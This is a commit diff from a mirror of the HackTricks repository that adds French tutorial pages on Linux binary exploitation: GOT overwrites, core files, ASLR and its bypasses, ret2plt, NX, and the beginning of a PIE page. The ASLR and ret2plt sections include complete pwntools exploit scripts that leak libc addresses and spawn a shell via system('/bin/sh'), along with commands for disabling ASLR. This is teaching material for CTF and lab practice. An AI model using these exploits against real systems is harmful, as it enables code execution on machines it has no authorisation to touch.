mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/arbitra
This commit is contained in:
Translator
parent
18c41a2df5
commit
64877da4a3
17 changed files with 955 additions and 75 deletions
16
SUMMARY.md
16
SUMMARY.md
|
|
@ -705,15 +705,19 @@
|
|||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
* [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md)
|
||||
* [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md)
|
||||
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
|
||||
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
La **Table des décalages globale (GOT)** est un mécanisme utilisé dans les binaires liés de manière dynamique pour gérer les **adresses des fonctions externes**. Comme ces **adresses ne sont pas connues avant l'exécution** (en raison du lien dynamique), la GOT fournit un moyen de **mettre à jour dynamiquement les adresses de ces symboles externes** une fois qu'elles sont résolues.
|
||||
|
||||
Chaque entrée dans la GOT correspond à un symbole dans les bibliothèques externes que le binaire peut appeler. Lorsqu'une **fonction est appelée pour la première fois, son adresse réelle est résolue par le lien dynamique et stockée dans la GOT**. Les appels ultérieurs à la même fonction utilisent l'adresse stockée dans la GOT, évitant ainsi les frais généraux de résolution de l'adresse à nouveau.
|
||||
Chaque entrée dans la GOT correspond à un symbole dans les bibliothèques externes que le binaire peut appeler. Lorsqu'une **fonction est appelée pour la première fois, son adresse réelle est résolue par le lien dynamique et stockée dans la GOT**. Les appels ultérieurs à la même fonction utilisent l'adresse stockée dans la GOT, évitant ainsi le surcoût de la résolution de l'adresse à nouveau.
|
||||
|
||||
### **PLT : Procedure Linkage Table**
|
||||
|
||||
|
|
@ -40,17 +40,17 @@ Remarquez comment après le **chargement** de l'**exécutable** dans GEF, vous p
|
|||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
|
||||
En utilisant GEF, vous pouvez **démarrer** une **session de débogage** et exécuter **`got`** pour voir la table GOT :
|
||||
En utilisant GEF, vous pouvez **démarrer** une **session de débogage** et exécuter **`got`** pour voir la table got :
|
||||
|
||||
.png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
Dans un binaire, la GOT contient les **adresses des fonctions ou** de la section **PLT** qui chargera l'adresse de la fonction. L'objectif de cette écriture arbitraire est de **remplacer une entrée de la GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** du PLT de la fonction **`system`** par exemple.
|
||||
Dans un binaire, la GOT contient les **adresses des fonctions ou** de la **section PLT** qui chargera l'adresse de la fonction. L'objectif de cette écriture arbitraire est de **remplacer une entrée de la GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** de la PLT de la fonction **`system`** par exemple.
|
||||
|
||||
Idéalement, vous **remplacerez** la **GOT** d'une **fonction** qui va être appelée avec des paramètres contrôlés par vous (vous pourrez ainsi contrôler les paramètres envoyés à la fonction système).
|
||||
Idéalement, vous **remplacerez** la **GOT** d'une **fonction** qui **sera appelée avec des paramètres contrôlés par vous** (vous pourrez ainsi contrôler les paramètres envoyés à la fonction système).
|
||||
|
||||
Si **`system`** n'est **pas utilisé** par le script, la fonction système **n'aura pas d'entrée** dans le PLT. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system` puis écraser la GOT pour pointer vers cette adresse.
|
||||
Si **`system`** **n'est pas utilisé** par le script, la fonction système **n'aura pas d'entrée dans le PLT**. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system` puis écraser la GOT pour pointer vers cette adresse.
|
||||
|
||||
Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
|
|
@ -58,8 +58,8 @@ Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`**
|
|||
|
||||
La protection **FullRELRO** vise à protéger contre ce type de technique en résolvant toutes les adresses des fonctions lorsque le binaire est démarré et en rendant la **table GOT en lecture seule** après cela :
|
||||
|
||||
{% content-ref url="../common-binary-protections/relro.md" %}
|
||||
[relro.md](../common-binary-protections/relro.md)
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,53 @@
|
|||
# Protections Courantes des Binaires
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Activer les Fichiers Core
|
||||
|
||||
Les **fichiers core** sont un type de fichier généré par un système d'exploitation lorsqu'un processus plante. Ces fichiers capturent l'image mémoire du processus planté au moment de sa terminaison, y compris la mémoire du processus, les registres et l'état du compteur de programme, entre autres détails. Cette capture peut être extrêmement précieuse pour le débogage et la compréhension de la raison de la panne.
|
||||
|
||||
### **Activation de la Génération de Fichiers Core**
|
||||
|
||||
Par défaut, de nombreux systèmes limitent la taille des fichiers core à 0 (c'est-à-dire qu'ils ne génèrent pas de fichiers core) pour économiser de l'espace disque. Pour activer la génération de fichiers core, vous pouvez utiliser la commande `ulimit` (dans bash ou des shells similaires) ou configurer les paramètres au niveau du système.
|
||||
|
||||
* **Utilisation de ulimit** : La commande `ulimit -c unlimited` permet à la session shell actuelle de créer des fichiers core de taille illimitée. Cela est utile pour les sessions de débogage mais n'est pas persistant entre les redémarrages ou les nouvelles sessions.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **Configuration Persistante** : Pour une solution plus permanente, vous pouvez modifier le fichier `/etc/security/limits.conf` pour inclure une ligne comme `* soft core unlimited`, ce qui permet à tous les utilisateurs de générer des fichiers core de taille illimitée sans avoir à définir ulimit manuellement dans leurs sessions.
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **Analyse des fichiers core avec GDB**
|
||||
|
||||
Pour analyser un fichier core, vous pouvez utiliser des outils de débogage comme GDB (le débogueur GNU). En supposant que vous ayez un exécutable qui a produit un vidage core et que le fichier core est nommé `core_file`, vous pouvez commencer l'analyse avec :
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
Cette commande charge l'exécutable et le fichier core dans GDB, vous permettant d'inspecter l'état du programme au moment du crash. Vous pouvez utiliser les commandes GDB pour explorer la pile, examiner les variables et comprendre la cause du crash.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,164 @@
|
|||
# ASLR
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
**La randomisation de l'espace d'adressage (ASLR)** est une technique de sécurité utilisée dans les systèmes d'exploitation pour **randomiser les adresses mémoire** utilisées par les processus système et d'application. Ce faisant, il devient considérablement plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, réduisant ainsi certains types d'exploits, en particulier les débordements de tampon.
|
||||
|
||||
### **Vérification du statut de l'ASLR**
|
||||
|
||||
Pour **vérifier** le statut de l'ASLR sur un système Linux, vous pouvez lire la valeur du fichier `/proc/sys/kernel/randomize_va_space`. La valeur stockée dans ce fichier détermine le type d'ASLR appliqué :
|
||||
|
||||
* **0** : Aucune randomisation. Tout est statique.
|
||||
* **1** : Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées.
|
||||
* **2** : Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée via `brk()` est randomisée.
|
||||
|
||||
Vous pouvez vérifier le statut de l'ASLR avec la commande suivante :
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Désactiver ASLR**
|
||||
|
||||
Pour **désactiver** ASLR, vous définissez la valeur de `/proc/sys/kernel/randomize_va_space` sur **0**. Désactiver ASLR n'est généralement pas recommandé en dehors des scénarios de test ou de débogage. Voici comment vous pouvez le désactiver :
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Vous pouvez également désactiver l'ASLR pour une exécution avec :
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **Activation de l'ASLR**
|
||||
|
||||
Pour **activer** l'ASLR, vous pouvez écrire une valeur de **2** dans le fichier `/proc/sys/kernel/randomize_va_space`. Cela nécessite généralement des privilèges root. L'activation d'une randomisation complète peut être effectuée avec la commande suivante :
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Persistance à travers les redémarrages**
|
||||
|
||||
Les modifications effectuées avec les commandes `echo` sont temporaires et seront réinitialisées lors du redémarrage. Pour rendre le changement persistant, vous devez éditer le fichier `/etc/sysctl.conf` et ajouter ou modifier la ligne suivante :
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
Après avoir modifié `/etc/sysctl.conf`, appliquez les changements avec :
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
Cela garantira que vos paramètres ASLR restent inchangés après les redémarrages.
|
||||
|
||||
## **Contournements**
|
||||
|
||||
### Force brute 32 bits
|
||||
|
||||
PaX divise l'espace d'adressage du processus en **3 groupes** :
|
||||
|
||||
* **Code et données** (initialisées et non initialisées) : `.text`, `.data`, et `.bss` —> **16 bits** d'entropie dans la variable `delta_exec`. Cette variable est initialisée de manière aléatoire à chaque processus et ajoutée aux adresses initiales.
|
||||
* **Mémoire** allouée par `mmap()` et **bibliothèques partagées** —> **16 bits**, nommé `delta_mmap`.
|
||||
* **La pile** —> **24 bits**, appelé `delta_stack`. Cependant, il utilise effectivement **11 bits** (du 10e au 20e octet inclus), alignés sur **16 octets** —> Cela donne **524 288 adresses de pile réelles possibles**.
|
||||
|
||||
Les données précédentes sont pour les systèmes 32 bits et l'entropie finale réduite permet de contourner l'ASLR en réessayant l'exécution jusqu'à ce que l'exploit réussisse.
|
||||
|
||||
#### Idées de force brute :
|
||||
|
||||
* Si l'exploit est local, vous pouvez essayer de forcer de manière brute l'adresse de base de libc (utile pour les systèmes 32 bits) :
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Lors d'une attaque sur un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `usleep` de la `libc`**, en passant 10 comme argument. Si à un moment le **serveur met 10 secondes supplémentaires pour répondre**, vous avez trouvé l'adresse de cette fonction.
|
||||
|
||||
{% hint style="success" %}
|
||||
Sur les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela n'est pas possible.
|
||||
{% endhint %}
|
||||
|
||||
### Avoir une fuite
|
||||
|
||||
* **Le défi consiste à avoir une fuite**
|
||||
|
||||
Si vous disposez d'une fuite (dans des défis CTF faciles), vous pouvez calculer des décalages à partir de celle-ci (en supposant par exemple que vous connaissez la version exacte de la libc utilisée dans le système que vous exploitez). Cet exemple d'exploitation est extrait de l'[**exemple d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consultez cette page pour plus de détails):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvuntil('at: ')
|
||||
system_leak = int(p.recvline(), 16)
|
||||
|
||||
libc.address = system_leak - libc.sym['system']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
* **ret2plt**
|
||||
|
||||
En exploitant un dépassement de tampon, il serait possible d'exploiter un **ret2plt** pour exfiltrer une adresse d'une fonction de la libc. Vérifiez :
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Lecture arbitraire de chaînes de format**
|
||||
|
||||
Tout comme dans ret2plt, si vous avez une lecture arbitraire via une vulnérabilité de chaînes de format, il est possible d'exfiltrer l'adresse d'une **fonction libc** à partir du GOT. L'exemple suivant [**est tiré d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
payload += b'%3$s' # The third parameter points at the start of the buffer
|
||||
|
||||
# this part is only relevant if you need to call the main function again
|
||||
|
||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
Vous pouvez trouver plus d'informations sur la lecture arbitraire de chaînes de format dans:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2ret
|
||||
|
||||
Essayez de contourner l'ASLR en abusant des adresses à l'intérieur de la pile:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2ret.md" %}
|
||||
[ret2ret.md](../../stack-overflow/ret2ret.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
# Ret2plt
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
L'objectif de cette technique serait de **dévoiler une adresse d'une fonction du PLT** pour pouvoir contourner l'ASLR. Cela est possible car, par exemple, si vous dévoilez l'adresse de la fonction `puts` de la libc, vous pouvez ensuite **calculer où se trouve la base de `libc`** et calculer des décalages pour accéder à d'autres fonctions telles que **`system`**.
|
||||
|
||||
Cela peut être fait avec une charge utile `pwntools` comme ([**à partir d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
# 64-bit
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
Notez comment **`puts`** (en utilisant l'adresse du PLT) est appelé avec l'adresse de `puts` située dans le `GOT`. Cela est dû au fait qu'au moment où `puts` imprime l'entrée `GOT` de puts, cette **entrée contiendra l'adresse de `puts` en mémoire**.
|
||||
|
||||
Notez également comment l'adresse de `main` est utilisée dans l'exploit afin que lorsque `puts` termine son exécution, le **binaire rappelle `main` au lieu de se terminer** (ainsi l'adresse divulguée restera valide).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que pour que cela fonctionne, le **binaire ne doit pas être compilé avec PIE** ou vous devez avoir **trouvé une fuite pour contourner PIE** afin de connaître l'adresse du `PLT`, `GOT` et `main`.
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez trouver un [**exemple complet de cette méthode de contournement ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). C'était l'exploit final de cet exemple:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvline()
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
puts_leak = u32(p.recv(4))
|
||||
p.recvlines(2)
|
||||
|
||||
libc.address = puts_leak - libc.sym['puts']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
# No-exec / NX
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Le bit **No-Execute (NX)**, également connu sous le nom de **Execute Disable (XD)** dans la terminologie Intel, est une fonctionnalité de sécurité basée sur le matériel conçue pour **atténuer** les effets des attaques par **débordement de tampon**. Lorsqu'il est implémenté et activé, il distingue entre les régions de mémoire destinées au **code exécutable** et celles destinées aux **données**, telles que la **pile** et le **tas**. L'idée principale est d'empêcher un attaquant d'exécuter du code malveillant via des vulnérabilités de débordement de tampon en plaçant par exemple le code malveillant dans la pile et en dirigeant le flux d'exécution vers celui-ci.
|
||||
|
||||
## Contournements
|
||||
|
||||
* Il est possible d'utiliser des techniques telles que [**ROP**](../stack-overflow/rop-return-oriented-programing.md) pour contourner cette protection en exécutant des morceaux de code exécutable déjà présents dans le binaire.
|
||||
* [**Ret2libc**](../stack-overflow/ret2lib/)
|
||||
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
# PIE
|
||||
|
||||
<details>
|
